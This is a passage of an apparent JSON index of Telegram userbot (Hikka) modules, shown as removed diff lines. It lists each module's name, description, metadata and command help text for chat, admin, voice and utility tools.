"mergecmd": "merge all messages of own until the last message of another user." - }, - { - "unmergecmd": "unmerge the messages." - } - ], - "new_commands": [ - { - "cmsgmerger": { - "ru_doc": null, - "en_doc": null, - "doc": "open the config of the module." - } - }, - { - "merge": { - "ru_doc": null, - "en_doc": null, - "doc": "merge all messages of own until the last message of another user." - } - }, - { - "unmerge": { - "ru_doc": null, - "en_doc": null, - "doc": "unmerge the messages." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/donators.py": { - "name": "ApodiktumDonatorsMod", - "description": "Handle donations in a given channel and kick them after the period of time.", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "cdonatorscmd": "This will open the config for the module." - }, - { - "donamountcmd": "Calculate the amount of donations." - }, - { - "donsavecmd": "Save donation. Reply to the user message!\nPattern:\n.donsave <amount> <currency> <dtype> <rank> <code> | as reply!\nExample:\n.donsave 100 € amazon vip 123-123-123-123, 456-456-456-456 | as reply!" - } - ], - "new_commands": [ - { - "cdonators": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - }, - { - "donamount": { - "ru_doc": null, - "en_doc": null, - "doc": "Calculate the amount of donations." - } - }, - { - "donsave": { - "ru_doc": null, - "en_doc": null, - "doc": "Save donation. Reply to the user message!\nPattern:\n.donsave <amount> <currency> <dtype> <rank> <code> | as reply!\nExample:\n.donsave 100 € amazon vip 123-123-123-123, 456-456-456-456 | as reply!" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/linked_chat.py": { - "name": "ApodiktumLinkedChatMod", - "description": "Forces users to join a linked chat before they can send messages in the current chat.", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "clinkedchatcmd": "This will open the config for the module." - } - ], - "new_commands": [ - { - "clinkedchat": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "anon97945/hikka-mods/dnd.py": { - "name": "ApodiktumDNDMod", - "description": " \n-> Prevents people sending you unsolicited private messages.\n-> Prevents disturbing when you are unavailable.\nCheck `.cdnd`.", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "cdndcmd": "This will open the config for the module." - }, - { - "pmbanlastcmd": "<number> - Ban and delete dialogs with n most new users." - }, - { - "allowpmcmd": "<reply or user> - Allow user to pm you." - }, - { - "denypmcmd": "<reply or user> - Deny user to pm you." - }, - { - "reportpmcmd": "<reply> - Report the user to spam. Use only in PM." - }, - { - "blockcmd": "<reply> - Block this user without being warned." - }, - { - "unblockcmd": "<reply> - Unblock this user." - }, - { - "statuscmd": "<short_name> [optional duration|1s/m/h/d] [optional further information] - Set status." - }, - { - "unstatuscmd": "Remove status." - }, - { - "newstatuscmd": "<short_name> <notif|0/1> <text> - New status.\nExample: .newstatus test 1 Hello!" - }, - { - "delstatuscmd": "<short_name> - Delete status." - }, - { - "statusescmd": "Show available statuses." - } - ], - "new_commands": [ - { - "cdnd": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - }, - { - "pmbanlast": { - "ru_doc": null, - "en_doc": null, - "doc": "<number> - Ban and delete dialogs with n most new users." - } - }, - { - "allowpm": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply or user> - Allow user to pm you." - } - }, - { - "denypm": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply or user> - Deny user to pm you." - } - }, - { - "reportpm": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply> - Report the user to spam. Use only in PM." - } - }, - { - "block": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply> - Block this user without being warned." - } - }, - { - "unblock": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply> - Unblock this user." - } - }, - { - "status": { - "ru_doc": null, - "en_doc": null, - "doc": "<short_name> [optional duration|1s/m/h/d] [optional further information] - Set status." - } - }, - { - "unstatus": { - "ru_doc": null, - "en_doc": null, - "doc": "Remove status." - } - }, - { - "newstatus": { - "ru_doc": null, - "en_doc": null, - "doc": "<short_name> <notif|0/1> <text> - New status.\nExample: .newstatus test 1 Hello!" - } - }, - { - "delstatus": { - "ru_doc": null, - "en_doc": null, - "doc": "<short_name> - Delete status." - } - }, - { - "statuses": { - "ru_doc": null, - "en_doc": null, - "doc": "Show available statuses." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/_skeleton.py": { - "name": "ApodiktumSkeletonMod", - "description": "This is a skeleton module.", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "cskeletoncmd": "This will open the config for the module." - }, - { - "skeletoncmd": "This is a skeleton command." - }, - { - "skeletoargscmd": "This is a skeleton command with args." - } - ], - "new_commands": [ - { - "cskeleton": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - }, - { - "skeleton": { - "ru_doc": null, - "en_doc": null, - "doc": "This is a skeleton command." - } - }, - { - "skeletoargs": { - "ru_doc": null, - "en_doc": null, - "doc": "This is a skeleton command with args." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/lcr.py": { - "name": "ApodiktumLCRMod", - "description": "Telegram Login Code Reciever", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "lcrcmd": "Available commands:\n.lcr\n - waiting for the login code from TG service chat, use in private.\n.lcr group --force\n - waiting for the login code from TG service chat, use in group." - } - ], - "new_commands": [ - { - "lcr": { - "ru_doc": null, - "en_doc": null, - "doc": "Available commands:\n.lcr\n - waiting for the login code from TG service chat, use in private.\n.lcr group --force\n - waiting for the login code from TG service chat, use in group." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "anon97945/hikka-mods/voicetools.py": { - "name": "ApodiktumVoiceToolsMod", - "description": "Change, pitch, enhance your Voice. Also includes optional automatic modes.", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "cvoicetoolscmd": "This will open the config for the module." - }, - { - "vtdalekcmd": "reply to a file to change the voice" - }, - { - "vtanoncmd": "reply to a file to change the voice into anonymous" - }, - { - "vtpitchcmd": "reply to a file to pitch voice\n- Example: .vtpitch 12\n Possible values between -18 and 18" - }, - { - "vtspeedcmd": "reply to a file to increase speed and reduce length\n- Example: .vtspeed 1.5\n Possible values between 0.25 - 3" - }, - { - "vtgaincmd": "reply to a file to change the volume\n- Example: .vtgain 1\n Possible values between -10 - 10" - }, - { - "vtenhcmd": "reply to a file to enhance voice quality with\n- Volume normalize\n- Background NoiseReduce (set your noisereduce level before)" - }, - { - "vtnormcmd": "reply to a file to normalize volume" - }, - { - "vtmp3cmd": "reply to a file to convert it to mp3" - }, - { - "vtspeechcmd": "reply to a file to convert it to speech" - }, - { - "vtautodalekcmd": "Turns on AutoDalekVoice for your own Voicemessages in the chat" - }, - { - "vtautoanoncmd": "Turns on AutoAnonVoice for your own Voicemessages in the chat" - }, - { - "vtautonrcmd": "Turns on AutoNoiseReduce for your own Voicemessages in the chat" - }, - { - "vtautonormcmd": "Turns on AutoVoiceNormalizer for your own Voicemessages in the chat" - }, - { - "vtautospeedcmd": "Turns on AutoSpeed for your own Voicemessages in the chat" - }, - { - "vtautopitchcmd": "Turns on AutoVoiceNormalizer for your own Voicemessages in the chat" - }, - { - "vtautogaincmd": "Turns on AutoVolumeGain for your own Voicemessages in the chat" - }, - { - "vtautocmd": "Displays all enabled AutoVoice settings in the chat" - }, - { - "vtautostopcmd": "Turns off AutoVoice for your own Voicemessages in the chat" - } - ], - "new_commands": [ - { - "cvoicetools": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - }, - { - "vtdalek": { - "ru_doc": null, - "en_doc": null, - "doc": "reply to a file to change the voice" - } - }, - { - "vtanon": { - "ru_doc": null, - "en_doc": null, - "doc": "reply to a file to change the voice into anonymous" - } - }, - { - "vtpitch": { - "ru_doc": null, - "en_doc": null, - "doc": "reply to a file to pitch voice\n- Example: .vtpitch 12\n Possible values between -18 and 18" - } - }, - { - "vtspeed": { - "ru_doc": null, - "en_doc": null, - "doc": "reply to a file to increase speed and reduce length\n- Example: .vtspeed 1.5\n Possible values between 0.25 - 3" - } - }, - { - "vtgain": { - "ru_doc": null, - "en_doc": null, - "doc": "reply to a file to change the volume\n- Example: .vtgain 1\n Possible values between -10 - 10" - } - }, - { - "vtenh": { - "ru_doc": null, - "en_doc": null, - "doc": "reply to a file to enhance voice quality with\n- Volume normalize\n- Background NoiseReduce (set your noisereduce level before)" - } - }, - { - "vtnorm": { - "ru_doc": null, - "en_doc": null, - "doc": "reply to a file to normalize volume" - } - }, - { - "vtmp3": { - "ru_doc": null, - "en_doc": null, - "doc": "reply to a file to convert it to mp3" - } - }, - { - "vtspeech": { - "ru_doc": null, - "en_doc": null, - "doc": "reply to a file to convert it to speech" - } - }, - { - "vtautodalek": { - "ru_doc": null, - "en_doc": null, - "doc": "Turns on AutoDalekVoice for your own Voicemessages in the chat" - } - }, - { - "vtautoanon": { - "ru_doc": null, - "en_doc": null, - "doc": "Turns on AutoAnonVoice for your own Voicemessages in the chat" - } - }, - { - "vtautonr": { - "ru_doc": null, - "en_doc": null, - "doc": "Turns on AutoNoiseReduce for your own Voicemessages in the chat" - } - }, - { - "vtautonorm": { - "ru_doc": null, - "en_doc": null, - "doc": "Turns on AutoVoiceNormalizer for your own Voicemessages in the chat" - } - }, - { - "vtautospeed": { - "ru_doc": null, - "en_doc": null, - "doc": "Turns on AutoSpeed for your own Voicemessages in the chat" - } - }, - { - "vtautopitch": { - "ru_doc": null, - "en_doc": null, - "doc": "Turns on AutoVoiceNormalizer for your own Voicemessages in the chat" - } - }, - { - "vtautogain": { - "ru_doc": null, - "en_doc": null, - "doc": "Turns on AutoVolumeGain for your own Voicemessages in the chat" - } - }, - { - "vtauto": { - "ru_doc": null, - "en_doc": null, - "doc": "Displays all enabled AutoVoice settings in the chat" - } - }, - { - "vtautostop": { - "ru_doc": null, - "en_doc": null, - "doc": "Turns off AutoVoice for your own Voicemessages in the chat" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "anon97945/hikka-mods/show_viewer.py": { - "name": "ApodiktumShowViewsMod", - "description": "Send a message to get the current count of viewers.", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "svcmd": "<message/reply to msg> Send a message to get the current count of viewers with that message." - }, - { - "gvcmd": "<reply to msg> Get current views of the message." - } - ], - "new_commands": [ - { - "sv": { - "ru_doc": null, - "en_doc": null, - "doc": "<message/reply to msg> Send a message to get the current count of viewers with that message." - } - }, - { - "gv": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply to msg> Get current views of the message." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/apoinfo.py": { - "name": "ApodiktumInfoMod", - "description": "Show userbot info", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "capoinfocmd": "This will open the config for the module." - }, - { - "apoinfocmd": "Send userbot info" - } - ], - "new_commands": [ - { - "capoinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - }, - { - "apoinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "Send userbot info" - } - } - ], - "category": [ - "Tools", - "Admin" - ] - }, - "anon97945/hikka-mods/quotes.py": { - "name": "ApodiktumQuotesMod", - "description": "Quote a message using Mishase Quotes API", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "cquotescmd": "This will open the config for the module." - }, - { - "quotecmd": "Quote a message. Args: .<count> .file" - }, - { - "fquotecmd": "Fake message quote. Args: @<username>/<id>/<reply> <text>" - } - ], - "new_commands": [ - { - "cquotes": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - }, - { - "quote": { - "ru_doc": null, - "en_doc": null, - "doc": "Quote a message. Args: .<count> .file" - } - }, - { - "fquote": { - "ru_doc": null, - "en_doc": null, - "doc": "Fake message quote. Args: @<username>/<id>/<reply> <text>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/save_message.py": { - "name": "ApodiktumSaveMessageMod", - "description": "Get Message/Media from given link (also works for forward restricted content).", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "smcmd": "<messagelink> to forward message/media to SavedMessages." - }, - { - "smhcmd": "<messagelink> to forward message/media to current chat." - } - ], - "new_commands": [ - { - "sm": { - "ru_doc": null, - "en_doc": null, - "doc": "<messagelink> to forward message/media to SavedMessages." - } - }, - { - "smh": { - "ru_doc": null, - "en_doc": null, - "doc": "<messagelink> to forward message/media to current chat." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "anon97945/hikka-mods/langreplier.py": { - "name": "ApodiktumLangReplierMod", - "description": "This module automatically respond to messages with unknown languages.", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "clangrepliercmd": "This will open the config for the module." - } - ], - "new_commands": [ - { - "clangreplier": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/purge.py": { - "name": "ApodiktumPurgeMod", - "description": "Userbot module for purging unneeded messages(usually spam or ot).\nCheck the `.config apodiktum purge` to enable/disable logging.", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "cpurgecmd": "This will open the config for the module." - }, - { - "apurgecmd": "Delete all messages up to and including the reply.\n- Usage: .apurge <reply>" - }, - { - "spurgecmd": "Delete all messages up to and including the reply silently.\n- Usage: .spurge <reply>" - }, - { - "purgemecmd": "Delete x count (or all) of your latest messages.\n- Usage: .purgeme <count/all>" - }, - { - "spurgemecmd": "Delete x count (or all) of your latest messages silently.\n- Usage: .spurgeme <count/all>" - }, - { - "purgeusercmd": "Delete all messages from the replied user.\n- Usage: .purgeuser <reply>" - }, - { - "spurgeusercmd": "Delete all messages from the replied user silently.\n - Usage: .spurgeuser <reply>" - }, - { - "adelcmd": "Delete the replied message.\n - Usage: .adel <reply>" - }, - { - "editcmd": "Edit your last message.\n - Usage: .edit <text>" - }, - { - "sdcmd": "Make self-destructive messages. Also works for media when used in caption.\n - Usage: .sd <time> <text>" - } - ], - "new_commands": [ - { - "cpurge": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - }, - { - "apurge": { - "ru_doc": null, - "en_doc": null, - "doc": "Delete all messages up to and including the reply.\n- Usage: .apurge <reply>" - } - }, - { - "spurge": { - "ru_doc": null, - "en_doc": null, - "doc": "Delete all messages up to and including the reply silently.\n- Usage: .spurge <reply>" - } - }, - { - "purgeme": { - "ru_doc": null, - "en_doc": null, - "doc": "Delete x count (or all) of your latest messages.\n- Usage: .purgeme <count/all>" - } - }, - { - "spurgeme": { - "ru_doc": null, - "en_doc": null, - "doc": "Delete x count (or all) of your latest messages silently.\n- Usage: .spurgeme <count/all>" - } - }, - { - "purgeuser": { - "ru_doc": null, - "en_doc": null, - "doc": "Delete all messages from the replied user.\n- Usage: .purgeuser <reply>" - } - }, - { - "spurgeuser": { - "ru_doc": null, - "en_doc": null, - "doc": "Delete all messages from the replied user silently.\n - Usage: .spurgeuser <reply>" - } - }, - { - "adel": { - "ru_doc": null, - "en_doc": null, - "doc": "Delete the replied message.\n - Usage: .adel <reply>" - } - }, - { - "edit": { - "ru_doc": null, - "en_doc": null, - "doc": "Edit your last message.\n - Usage: .edit <text>" - } - }, - { - "sd": { - "ru_doc": null, - "en_doc": null, - "doc": "Make self-destructive messages. Also works for media when used in caption.\n - Usage: .sd <time> <text>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/pypng.py": { - "name": "ApodiktumPyPNGMod", - "description": "Converts link/file from Py to PNG.", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "pypngcmd": "url/(reply to url or py file)" - } - ], - "new_commands": [ - { - "pypng": { - "ru_doc": null, - "en_doc": null, - "doc": "url/(reply to url or py file)" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "anon97945/hikka-mods/gtranslate.py": { - "name": "ApodiktumGTranslateMod", - "description": "Google Translator", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "cgtranslatecmd": "This will open the config for the module." - }, - { - "gtranslatecmd": ".gtranslate [from_lang->][->to_lang] <text>" - } - ], - "new_commands": [ - { - "cgtranslate": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - }, - { - "gtranslate": { - "ru_doc": null, - "en_doc": null, - "doc": ".gtranslate [from_lang->][->to_lang] <text>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/auto_update.py": { - "name": "ApodiktumAutoUpdateMod", - "description": "Automatically update your Hikka Userbot", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "cautoupdatecmd": "This will open the config for the module." - } - ], - "new_commands": [ - { - "cautoupdate": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/autoreact.py": { - "name": "ApodiktumAutoReactMod", - "description": "AutoReact to messages.\nCheck the `.config apodiktum autoreact`", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "cautoreactcmd": "This will open the config for the module." - } - ], - "new_commands": [ - { - "cautoreact": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/admintools.py": { - "name": "ApodiktumAdminToolsMod", - "description": "Toolpack for Channel and Group Admins.", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "cadmintoolscmd": "Open the config for the module." - }, - { - "refresh_chatcmd": "Refresh the chat cache in the current chat." - }, - { - "bndcmd": " \n  - Toggles BlockNonDiscussion for the current chat.\n.bnd notify <true/false>\n  - Toggles the notification message.\n.bnd mute <minutes/or 0>\n  - Mutes the user for x minutes. 0 to disable.\n.bnd deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bnd settings\n  - Shows the current configuration of the chat.\n.bnd db\n  - Shows the current database.\n.bnd clearall\n  - Clears the db of BlockNonDiscussion." - }, - { - "bfcmd": " \n  - Toggles BlockFlood for the current chat.\n.bf notify <true/false>\n  - Toggles the notification message.\n.bf mute <minutes/or 0>\n  - Mutes the user for x minutes. 0 to disable.\n.bf deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bf settings\n  - Shows the current configuration of the chat.\n.bf db\n  - Shows the current database.\n.bf clearall\n  - Clears the db of BlockNonDiscussion." - }, - { - "bcucmd": " \n  - Toggles BlockChannelUser for the current chat.\n.bcu notify <true/false>\n  - Toggles the notification message.\n.bcu ban <true/false>\n  - Bans the channel.\n.bcu deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bcu settings\n  - Shows the current configuration of the chat.\n.bcu db\n  - Shows the current database.\n.bcu clearall\n  - Clears the db of BlockChannelUser." - }, - { - "bnccmd": " \n  - Toggles BlockNonComment for the current chat.\n.bnc notify <true/false>\n  - Toggles the notification message.\n.bnc mute <minutes/or 0>\n  - Mutes the user for x minutes. 0 to disable.\n.bnc deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bnc settings\n  - Shows the current configuration of the chat.\n.bnc db\n  - Shows the current database.\n.bnc clearall\n  - Clears the db of BlockNonComment." - }, - { - "bdlcmd": " \n  - Toggles BlockDoubleLinks for the current chat.\n.bdl timeout <seconds>\n - Sets the timeout for the double links.\n.bdl notify <true/false>\n  - Toggles the notification message.\n.bdl deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bdl settings\n  - Shows the current configuration of the chat.\n.bdl db\n  - Shows the current database.\n.bdl clearall\n  - Clears the db of BlockChannelUser." - }, - { - "bsscmd": " \n  - Toggles BlockStickerSpam for the current chat.\n.bss timeout <seconds>\n - Sets the timeout for the sticker spam.\n.bss notify <true/false>\n  - Toggles the notification message.\n.bss deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bss settings\n  - Shows the current configuration of the chat.\n.bss db\n  - Shows the current database.\n.bss clearall\n  - Clears the db of BlockChannelUser." - }, - { - "bcecmd": " \n  - Toggles BlockCustomEmojis for the current chat.\n.bce timeout <seconds>\n - Sets the timeout for the sticker spam.\n.bce notify <true/false>\n  - Toggles the notification message.\n.bce deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bce settings\n  - Shows the current configuration of the chat.\n.bce db\n  - Shows the current database.\n.bce clearall\n  - Clears the db of BlockChannelUser." - }, - { - "bgscmd": " \n  - Toggles BlockStickerSpam for the current chat.\n.bgs timeout <seconds>\n - Sets the timeout for the sticker spam.\n.bgs notify <true/false>\n  - Toggles the notification message.\n.bgs deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bgs settings\n  - Shows the current configuration of the chat.\n.bgs db\n  - Shows the current database.\n.bgs clearall\n  - Clears the db of BlockChannelUser." - }, - { - "glcmd": "<chatid> <logchannelid>\n  - Logs given groupchat in given channel.\n.gl rem <chatid>\n  - Removes given chat from watcher.\n.gl db\n  - Shows the current database.\n.gl settings\n  - Shows the current configuration of the chat.\n.gl clearall\n  - Clears the db of Group/Channel Logger." - } - ], - "new_commands": [ - { - "cadmintools": { - "ru_doc": null, - "en_doc": null, - "doc": "Open the config for the module." - } - }, - { - "refresh_chat": { - "ru_doc": null, - "en_doc": null, - "doc": "Refresh the chat cache in the current chat." - } - }, - { - "bnd": { - "ru_doc": null, - "en_doc": null, - "doc": " \n  - Toggles BlockNonDiscussion for the current chat.\n.bnd notify <true/false>\n  - Toggles the notification message.\n.bnd mute <minutes/or 0>\n  - Mutes the user for x minutes. 0 to disable.\n.bnd deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bnd settings\n  - Shows the current configuration of the chat.\n.bnd db\n  - Shows the current database.\n.bnd clearall\n  - Clears the db of BlockNonDiscussion." - } - }, - { - "bf": { - "ru_doc": null, - "en_doc": null, - "doc": " \n  - Toggles BlockFlood for the current chat.\n.bf notify <true/false>\n  - Toggles the notification message.\n.bf mute <minutes/or 0>\n  - Mutes the user for x minutes. 0 to disable.\n.bf deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bf settings\n  - Shows the current configuration of the chat.\n.bf db\n  - Shows the current database.\n.bf clearall\n  - Clears the db of BlockNonDiscussion." - } - }, - { - "bcu": { - "ru_doc": null, - "en_doc": null, - "doc": " \n  - Toggles BlockChannelUser for the current chat.\n.bcu notify <true/false>\n  - Toggles the notification message.\n.bcu ban <true/false>\n  - Bans the channel.\n.bcu deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bcu settings\n  - Shows the current configuration of the chat.\n.bcu db\n  - Shows the current database.\n.bcu clearall\n  - Clears the db of BlockChannelUser." - } - }, - { - "bnc": { - "ru_doc": null, - "en_doc": null, - "doc": " \n  - Toggles BlockNonComment for the current chat.\n.bnc notify <true/false>\n  - Toggles the notification message.\n.bnc mute <minutes/or 0>\n  - Mutes the user for x minutes. 0 to disable.\n.bnc deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bnc settings\n  - Shows the current configuration of the chat.\n.bnc db\n  - Shows the current database.\n.bnc clearall\n  - Clears the db of BlockNonComment." - } - }, - { - "bdl": { - "ru_doc": null, - "en_doc": null, - "doc": " \n  - Toggles BlockDoubleLinks for the current chat.\n.bdl timeout <seconds>\n - Sets the timeout for the double links.\n.bdl notify <true/false>\n  - Toggles the notification message.\n.bdl deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bdl settings\n  - Shows the current configuration of the chat.\n.bdl db\n  - Shows the current database.\n.bdl clearall\n  - Clears the db of BlockChannelUser." - } - }, - { - "bss": { - "ru_doc": null, - "en_doc": null, - "doc": " \n  - Toggles BlockStickerSpam for the current chat.\n.bss timeout <seconds>\n - Sets the timeout for the sticker spam.\n.bss notify <true/false>\n  - Toggles the notification message.\n.bss deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bss settings\n  - Shows the current configuration of the chat.\n.bss db\n  - Shows the current database.\n.bss clearall\n  - Clears the db of BlockChannelUser." - } - }, - { - "bce": { - "ru_doc": null, - "en_doc": null, - "doc": " \n  - Toggles BlockCustomEmojis for the current chat.\n.bce timeout <seconds>\n - Sets the timeout for the sticker spam.\n.bce notify <true/false>\n  - Toggles the notification message.\n.bce deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bce settings\n  - Shows the current configuration of the chat.\n.bce db\n  - Shows the current database.\n.bce clearall\n  - Clears the db of BlockChannelUser." - } - }, - { - "bgs": { - "ru_doc": null, - "en_doc": null, - "doc": " \n  - Toggles BlockStickerSpam for the current chat.\n.bgs timeout <seconds>\n - Sets the timeout for the sticker spam.\n.bgs notify <true/false>\n  - Toggles the notification message.\n.bgs deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bgs settings\n  - Shows the current configuration of the chat.\n.bgs db\n  - Shows the current database.\n.bgs clearall\n  - Clears the db of BlockChannelUser." - } - }, - { - "gl": { - "ru_doc": null, - "en_doc": null, - "doc": "<chatid> <logchannelid>\n  - Logs given groupchat in given channel.\n.gl rem <chatid>\n  - Removes given chat from watcher.\n.gl db\n  - Shows the current database.\n.gl settings\n  - Shows the current configuration of the chat.\n.gl clearall\n  - Clears the db of Group/Channel Logger." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/heroku.py": { - "name": "ApodiktumHerokuManagerMod", - "description": "Show Remaining Dyno Usage And Manage The Settings Of Your 🦸🏼‍♂️ Hero!ku Hikka Instance.", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "herousagecmd": "Get Heroku Dyno Usage." - }, - { - "herosetcmd": "Set Heroku Settings Variable.\n- Example: .heroset <variable> <some settings>" - }, - { - "herogetcmd": "Get Heroku Settings Variable.\n- Example: .heroget <variable>" - }, - { - "herogetallcmd": "Get All Heroku Settings Variable. This may leak API!\n- Example: .herogetall --force" - }, - { - "herodelcmd": "Delete Heroku Settings Variable.\n- Example: .herodel <variable>" - } - ], - "new_commands": [ - { - "herousage": { - "ru_doc": null, - "en_doc": null, - "doc": "Get Heroku Dyno Usage." - } - }, - { - "heroset": { - "ru_doc": null, - "en_doc": null, - "doc": "Set Heroku Settings Variable.\n- Example: .heroset <variable> <some settings>" - } - }, - { - "heroget": { - "ru_doc": null, - "en_doc": null, - "doc": "Get Heroku Settings Variable.\n- Example: .heroget <variable>" - } - }, - { - "herogetall": { - "ru_doc": null, - "en_doc": null, - "doc": "Get All Heroku Settings Variable. This may leak API!\n- Example: .herogetall --force" - } - }, - { - "herodel": { - "ru_doc": null, - "en_doc": null, - "doc": "Delete Heroku Settings Variable.\n- Example: .herodel <variable>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "kamolgks/Hikkamods/UsernameChecker.py": { - "name": "UsernameChecker", - "description": "Validates a username and checks availability.\n\nAccepted characters: A-z (case-insensitive), 0-9 and underscores.\nLength: 5-32 characters.", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/UsernameChecker.jpg", - "developer": "@shitmodules" - }, - "commands": [ - { - "ucheck": "> Enter the user for verification > Введите юзер для проверки." - } - ], - "new_commands": [ - { - "ucheck": { - "ru_doc": "> Введите юзер для проверки.", - "en_doc": null, - "doc": "> Enter the user for verification" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "kamolgks/Hikkamods/AnecdoteGenerator.py": { - "name": "AnecdoteGeneratorMod", - "description": "Anecdote generator by @shitmodules", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/AnecdoteGenerator.jpg", - "developer": "@shitmodules" - }, - "commands": [ - { - "anec": "Sends an anecdote (not always funny) Генерирует анекдоты (они не 